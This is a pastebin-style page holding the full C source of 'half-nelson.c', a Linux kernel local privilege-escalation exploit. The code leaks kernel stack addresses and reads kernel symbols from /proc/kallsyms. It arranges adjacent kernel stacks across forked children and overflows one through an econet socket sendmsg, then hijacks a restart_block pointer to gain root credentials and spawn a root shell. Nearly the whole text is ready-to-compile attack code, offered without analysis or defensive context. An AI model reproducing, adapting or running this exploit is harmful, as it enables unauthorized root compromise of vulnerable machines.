Don't like ads? PRO users don't see any ads ;-)
Guest

Untitled

By: a guest on May 2nd, 2012  |  syntax: C  |  size: 11.40 KB  |  hits: 12  |  expires: Never
download  |  raw  |  embed  |  report abuse  |  print
Text below is selected. Please press Ctrl+C to copy to your clipboard. (⌘+C on Mac)
  1. /*
  2. * Usage:
  3. *
  4. * $ gcc half-nelson.c -o half-nelson -lrt
  5. */
  6.  
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <stdint.h>
  10. #include <stddef.h>
  11. #include <string.h>
  12. #include <unistd.h>
  13. #include <errno.h>
  14. #include <fcntl.h>
  15. #include <limits.h>
  16. #include <syscall.h>
  17. #include <inttypes.h>
  18. #include <sys/types.h>
  19. #include <sys/socket.h>
  20. #include <sys/wait.h>
  21. #include <sys/ioctl.h>
  22. #include <sys/mman.h>
  23. #include <sys/ipc.h>
  24. #include <sys/sem.h>
  25. #include <sys/stat.h>
  26. #include <sys/mman.h>
  27. #include <sys/resource.h>
  28. #include <sys/syscall.h>
  29. #include <netinet/in.h>
  30. #include <net/if.h>
  31.  
  32. #define IOVS 446
  33. #define NPROC 1024
  34. #define KSTACK_SIZE 8192
  35.  
  36. #define KSTACK_UNINIT 0
  37. #define KSTACK_UPPER 1
  38. #define KSTACK_LOWER 2
  39. #define KSTACK_DIE 3
  40. #define KSTACK_PARENT 4
  41. #define KSTACK_CLOBBER 5
  42.  
  43. #define LEAK_BASE 0xffff880000000000
  44. #define LEAK_TOP 0xffff8800c0000000
  45. #define LEAK_DEPTH 500
  46. #define LEAK_OFFSET 32
  47.  
  48. #define NR_IPC 0x75
  49. #define NR_WAIT4 0x72
  50. #define SEMCTL 0x3
  51.  
  52. #ifndef PF_ECONET
  53. #define PF_ECONET 19
  54. #endif
  55.  
  56. #define STACK_OFFSET 6
  57. #define RESTART_OFFSET 40
  58.  
  59. struct ec_addr {
  60. unsigned char station;
  61. unsigned char net;
  62. };
  63.  
  64. struct sockaddr_ec {
  65. unsigned short sec_family;
  66. unsigned char port;
  67. unsigned char cb;
  68. unsigned char type;
  69. struct ec_addr addr;
  70. unsigned long cookie;
  71. };
  72.  
  73. struct ipc64_perm {
  74. uint32_t key;
  75. uint32_t uid;
  76. uint32_t gid;
  77. uint32_t cuid;
  78. uint32_t cgid;
  79. uint32_t mode;
  80. uint16_t seq;
  81. uint16_t __pad2;
  82. unsigned long __unused1;
  83. unsigned long __unused2;
  84. };
  85.  
  86. struct semid64_ds {
  87. struct ipc64_perm sem_perm;
  88. unsigned long sem_otime;
  89. unsigned long __unused1;
  90. unsigned long sem_ctime;
  91. unsigned long __unused;
  92. unsigned long sem_nsems;
  93. unsigned long __unused3;
  94. unsigned long __unused4;
  95. };
  96.  
  97. union semun {
  98. int val;
  99. struct semid_ds *buf;
  100. unsigned short *array;
  101. struct seminfo *__buf;
  102. };
  103.  
  104. struct region {
  105. unsigned long parent;
  106. unsigned long addrs[NPROC];
  107. };
  108. struct region *region;
  109.  
  110. typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long
  111. cred);
  112. typedef unsigned long __attribute__((regparm(3))) (*
  113. _prepare_kernel_cred)(unsigned long cred);
  114. _commit_creds commit_creds;
  115. _prepare_kernel_cred prepare_kernel_cred;
  116. unsigned long ia32_sysret;
  117.  
  118. void __attribute__((regparm(3)))
  119. kernel_code(void)
  120. {
  121. commit_creds(prepare_kernel_cred(0));
  122. }
  123.  
  124. void
  125. payload_parent(void)
  126. {
  127. asm volatile (
  128. "mov $kernel_code, %rax\n"
  129. "call *%rax\n"
  130. );
  131. }
  132.  
  133. void
  134. payload_child(void)
  135. {
  136. asm volatile (
  137. "movq $payload_parent, (%0)\n"
  138. "jmpq *%1\n"
  139. :
  140. : "r"(region->parent + RESTART_OFFSET), "r"(ia32_sysret)
  141. );
  142. }
  143.  
  144. unsigned long
  145. get_kstack(void)
  146. {
  147. int i, size, offset;
  148. union semun *arg;
  149. struct semid_ds dummy;
  150. struct semid64_ds *leaked;
  151. char *stack_start, *stack_end;
  152. unsigned char *p;
  153. unsigned long kstack, *ptr;
  154.  
  155. /* make sure our argument is 32-bit accessible */
  156. arg = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
  157. if (arg == MAP_FAILED) {
  158. printf("[-] failure mapping memory, aborting!\n");
  159. exit(1);
  160. }
  161.  
  162. /* map a fake stack to use during syscall */
  163. stack_start = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_ANONYMOUS |
  164. MAP_PRIVATE, -1, 0);
  165. if (stack_start == MAP_FAILED) {
  166. printf("[-] failure mapping memory, aborting!\n");
  167. exit(1);
  168. }
  169. stack_end = stack_start + 4096;
  170.  
  171. memset(arg, 0, sizeof(union semun));
  172. memset(&dummy, 0, sizeof(struct semid_ds));
  173. arg->buf = &dummy;
  174.  
  175. /* syscall(NR_IPC, SEMCTL, 0, 0, IPC_SET, arg) */
  176. asm volatile (
  177. "push %%rax\n"
  178. "push %%rbx\n"
  179. "push %%rcx\n"
  180. "push %%rdx\n"
  181. "push %%rsi\n"
  182. "push %%rdi\n"
  183. "movl %0, %%eax\n"
  184. "movl %1, %%ebx\n"
  185. "movl %2, %%ecx\n"
  186. "movl %3, %%edx\n"
  187. "movl %4, %%esi\n"
  188. "movq %5, %%rdi\n"
  189. "movq %%rsp, %%r8\n"
  190. "movq %6, %%rsp\n"
  191. "push %%r8\n"
  192. "int $0x80\n"
  193. "pop %%r8\n"
  194. "movq %%r8, %%rsp\n"
  195. "pop %%rdi\n"
  196. "pop %%rsi\n"
  197. "pop %%rdx\n"
  198. "pop %%rcx\n"
  199. "pop %%rbx\n"
  200. "pop %%rax\n"
  201. :
  202. : "r"(NR_IPC), "r"(SEMCTL), "r"(0), "r"(0), "r"(IPC_SET), "r"(arg),
  203. "r"(stack_end)
  204. : "memory", "rax", "rbx", "rcx", "rdx", "rsi", "rdi", "r8"
  205. );
  206.  
  207. /* naively extract a pointer to the kstack from the kstack */
  208. p = stack_end - (sizeof(unsigned long) + sizeof(struct semid64_ds)) +
  209. LEAK_OFFSET;
  210. kstack = *(unsigned long *) p;
  211.  
  212. if (kstack < LEAK_BASE || kstack > LEAK_TOP) {
  213. printf("[-] failed to leak a suitable kstack address, try again!\n");
  214. exit(1);
  215. }
  216. if ((kstack % 0x1000) < (0x1000 - LEAK_DEPTH)) {
  217. printf("[-] failed to leak a suitable kstack address, try again!\n");
  218. exit(1);
  219. }
  220.  
  221. kstack = kstack & ~0x1fff;
  222.  
  223. return kstack;
  224. }
  225.  
  226. unsigned long
  227. get_symbol(char *name)
  228. {
  229. FILE *f;
  230. unsigned long addr;
  231. char dummy, sym[512];
  232. int ret = 0;
  233.  
  234. f = fopen("/proc/kallsyms", "r");
  235. if (!f) {
  236. return 0;
  237. }
  238.  
  239. while (ret != EOF) {
  240. ret = fscanf(f, "%p %c %s\n", (void **) &addr, &dummy, sym);
  241. if (ret == 0) {
  242. fscanf(f, "%s\n", sym);
  243. continue;
  244. }
  245. if (!strcmp(name, sym)) {
  246. printf("[+] resolved symbol %s to %p\n", name, (void *) addr);
  247. fclose(f);
  248. return addr;
  249. }
  250. }
  251. fclose(f);
  252.  
  253. return 0;
  254. }
  255.  
  256. int
  257. get_adjacent_kstacks(void)
  258. {
  259. int i, ret, shm, pid, type;
  260.  
  261. /* create shared communication channel between parent and its children */
  262. shm = shm_open("/halfnelson", O_RDWR | O_CREAT, S_IRWXU | S_IRWXG |
  263. S_IRWXO);
  264. if (shm < 0) {
  265. printf("[-] failed creating shared memory, aborting!\n");
  266. exit(1);
  267. }
  268.  
  269. ret = ftruncate(shm, sizeof(struct region));
  270. if (ret != 0) {
  271. printf("[-] failed resizing shared memory, aborting!\n");
  272. exit(1);
  273. }
  274.  
  275. region = mmap(NULL, sizeof(struct region), PROT_READ | PROT_WRITE,
  276. MAP_SHARED, shm, 0);
  277. memset(region, KSTACK_UNINIT, sizeof(struct region));
  278.  
  279. /* parent kstack self-discovery */
  280. region->parent = get_kstack();
  281.  
  282. printf("[+] found parent kstack at 0x%lx\n", region->parent);
  283.  
  284. /* fork and discover children with adjacently-allocated kernel stacks */
  285. for (i = 0; i < NPROC; ++i) {
  286. pid = fork();
  287.  
  288. if (pid > 0) {
  289. type = KSTACK_PARENT;
  290. continue;
  291. } else if (pid == 0) {
  292. /* children do kstack self-discovery */
  293. region->addrs[i] = get_kstack();
  294.  
  295. /* children sleep until parent has found adjacent children */
  296. while (1) {
  297. sleep(1);
  298. if (region->addrs[i] == KSTACK_DIE) {
  299. /* parent doesn't need us :-( */
  300. exit(0);
  301. } else if (region->addrs[i] == KSTACK_UPPER) {
  302. /* we're the upper adjacent process */
  303. type = KSTACK_UPPER;
  304. break;
  305. } else if (region->addrs[i] == KSTACK_LOWER) {
  306. /* we're the lower adjacent process */
  307. type = KSTACK_LOWER;
  308. break;
  309. }
  310. }
  311. break;
  312. } else {
  313. printf("[-] fork failed, aborting!\n");
  314. exit(1);
  315. }
  316. }
  317.  
  318. return type;
  319. }
  320.  
  321. void
  322. do_parent(void)
  323. {
  324. int i, j, upper, lower;
  325.  
  326. /* parent sleeps until we've discovered all the child kstacks */
  327. while (1) {
  328. sleep(1);
  329. for (i = 0; i < NPROC; ++i) {
  330. if (region->addrs[i] == KSTACK_UNINIT) {
  331. break;
  332. }
  333. }
  334. if (i == NPROC) {
  335. break;
  336. }
  337. }
  338.  
  339. /* figure out if we have any adjacent child kstacks */
  340. for (i = 0; i < NPROC; ++i) {
  341. for (j = 0; j < NPROC; ++j) {
  342. if (region->addrs[i] == region->addrs[j] + KSTACK_SIZE) {
  343. break;
  344. }
  345. }
  346. if (j != NPROC) {
  347. break;
  348. }
  349. }
  350. if (i == NPROC && j == NPROC) {
  351. printf("[-] failed to find adjacent kstacks, try again!\n");
  352. exit(1);
  353. }
  354.  
  355. upper = i;
  356. lower = j;
  357.  
  358. printf("[+] found adjacent children kstacks at 0x%lx and 0x%lx\n",
  359. region->addrs[lower], region->addrs[upper]);
  360.  
  361. /* signal to non-adjacent children to die */
  362. for (i = 0; i < NPROC; ++i) {
  363. if (i != upper && i != lower) {
  364. region->addrs[i] = KSTACK_DIE;
  365. }
  366. }
  367.  
  368. /* signal adjacent children to continue on */
  369. region->addrs[upper] = KSTACK_UPPER;
  370. region->addrs[lower] = KSTACK_LOWER;
  371.  
  372. /* parent sleeps until child has clobbered the fptr */
  373. while (1) {
  374. sleep(1);
  375. if (region->parent == KSTACK_CLOBBER) {
  376. break;
  377. }
  378. }
  379.  
  380. printf("[+] escalating privileges...\n");
  381.  
  382. /* trigger our clobbered fptr */
  383. syscall(__NR_restart_syscall);
  384.  
  385. /* our privileges should be escalated now */
  386. if (getuid() != 0) {
  387. printf("[-] privilege escalation failed, aborting!\n");
  388. exit(1);
  389. }
  390.  
  391. printf("[+] launching root shell!\n");
  392.  
  393. execl("/bin/sh", "/bin/sh", NULL);
  394. }
  395.  
  396. void
  397. do_child_upper(void)
  398. {
  399. int i, ret, eco_sock;
  400. struct sockaddr_ec eco_addr;
  401. struct msghdr eco_msg;
  402. struct iovec iovs[IOVS];
  403. struct ifreq ifr;
  404. char *target;
  405.  
  406. /* calculate payload target, skip prologue */
  407. target = (char *) payload_child;
  408. target += 4;
  409.  
  410. /* give lower child a chance to enter its wait4 call */
  411. sleep(1);
  412.  
  413. /* write some zeros */
  414. for (i = 0; i < STACK_OFFSET; ++i) {
  415. iovs[i].iov_base = (void *) 0x0;
  416. iovs[i].iov_len = 0;
  417. }
  418.  
  419. /* overwrite saved ia32_sysret address on stack */
  420. iovs[STACK_OFFSET].iov_base = (void *) target;
  421. iovs[STACK_OFFSET].iov_len = 0x0246;
  422.  
  423. /* force abort via EFAULT */
  424. for (i = STACK_OFFSET + 1; i < IOVS; ++i) {
  425. iovs[i].iov_base = (void *) 0xffffffff00000000;
  426. iovs[i].iov_len = 0;
  427. }
  428.  
  429. /* create econet socket */
  430. eco_sock = socket(PF_ECONET, SOCK_DGRAM, 0);
  431. if (eco_sock < 0) {
  432. printf("[-] failed creating econet socket, aborting!\n");
  433. exit(1);
  434. }
  435.  
  436. memset(&ifr, 0, sizeof(ifr));
  437. strcpy(ifr.ifr_name, "lo");
  438.  
  439. /* trick econet into associated with the loopback */
  440. ret = ioctl(eco_sock, SIOCSIFADDR, &ifr);
  441. if (ret != 0) {
  442. printf("[-] failed setting interface address, aborting!\n");
  443. exit(1);
  444. }
  445.  
  446. memset(&eco_addr, 0, sizeof(eco_addr));
  447. memset(&eco_msg, 0, sizeof(eco_msg));
  448. eco_msg.msg_name = &eco_addr;
  449. eco_msg.msg_namelen = sizeof(eco_addr);
  450. eco_msg.msg_flags = 0;
  451. eco_msg.msg_iov = &iovs[0];
  452. eco_msg.msg_iovlen = IOVS;
  453.  
  454. printf("[+] upper child triggering stack overflow...\n");
  455.  
  456. /* trigger the kstack overflow into lower child's kstack */
  457. ret = sendmsg(eco_sock, &eco_msg, 0);
  458. if (ret != -1 || errno != EFAULT) {
  459. printf("[-] sendmsg succeeded unexpectedly, aborting!\n");
  460. exit(1);
  461. }
  462.  
  463. close(eco_sock);
  464. }
  465.  
  466. void
  467. do_child_lower(void)
  468. {
  469. int pid;
  470.  
  471. printf("[+] lower child spawning a helper...\n");
  472.  
  473. /* fork off a helper to wait4 on */
  474. pid = fork();
  475. if (pid == 0) {
  476. printf("[+] helper going to sleep...\n");
  477. sleep(5);
  478. printf("[+] helper woke up\n");
  479. exit(1);
  480. }
  481.  
  482. printf("[+] lower child calling compat_sys_wait4 on helper...\n");
  483.  
  484. /* syscall(NR_WAIT4, pid, 0, 0, 0) */
  485. asm volatile (
  486. "push %%rax\n"
  487. "push %%rbx\n"
  488. "push %%rcx\n"
  489. "push %%rdx\n"
  490. "push %%rsi\n"
  491. "movl %0, %%eax\n"
  492. "movl %1, %%ebx\n"
  493. "movl %2, %%ecx\n"
  494. "movl %3, %%edx\n"
  495. "movl %4, %%esi\n"
  496. "int $0x80\n"
  497. "pop %%rsi\n"
  498. "pop %%rdx\n"
  499. "pop %%rcx\n"
  500. "pop %%rbx\n"
  501. "pop %%rax\n"
  502. :
  503. : "r"(NR_WAIT4), "r"(pid), "r"(0), "r"(0), "r"(0)
  504. : "memory", "rax", "rbx", "rcx", "rdx", "rsi"
  505. );
  506.  
  507. printf("[+] lower child returned from compat_sys_wait4\n");
  508.  
  509. printf("[+] parent's restart_block has been clobbered\n");
  510.  
  511. /* signal parent that our fptr should now be clobbered */
  512. region->parent = KSTACK_CLOBBER;
  513. }
  514.  
  515. int
  516. main(int argc, char **argv)
  517. {
  518. int type;
  519.  
  520. if (sizeof(unsigned long) != 8) {
  521. printf("[-] x86_64 only, sorry!\n");
  522. exit(1);
  523. }
  524.  
  525. printf("[+] looking for symbols...\n");
  526.  
  527. commit_creds = (_commit_creds) get_symbol("commit_creds");
  528. if (!commit_creds) {
  529. printf("[-] symbol table not available, aborting!\n");
  530. exit(1);
  531. }
  532.  
  533. prepare_kernel_cred = (_prepare_kernel_cred)
  534. get_symbol("prepare_kernel_cred");
  535. if (!prepare_kernel_cred) {
  536. printf("[-] symbol table not available, aborting!\n");
  537. exit(1);
  538. }
  539.  
  540. ia32_sysret = get_symbol("ia32_sysret");
  541. if (!ia32_sysret) {
  542. printf("[-] symbol table not available, aborting!\n");
  543. exit(1);
  544. }
  545.  
  546. printf("[+] spawning children to achieve adjacent kstacks...\n");
  547.  
  548. type = get_adjacent_kstacks();
  549.  
  550. if (type == KSTACK_PARENT) {
  551. do_parent();
  552. } else if (type == KSTACK_UPPER) {
  553. do_child_upper();
  554. } else if (type == KSTACK_LOWER) {
  555. do_child_lower();
  556. }
  557.  
  558. return 0;
  559. }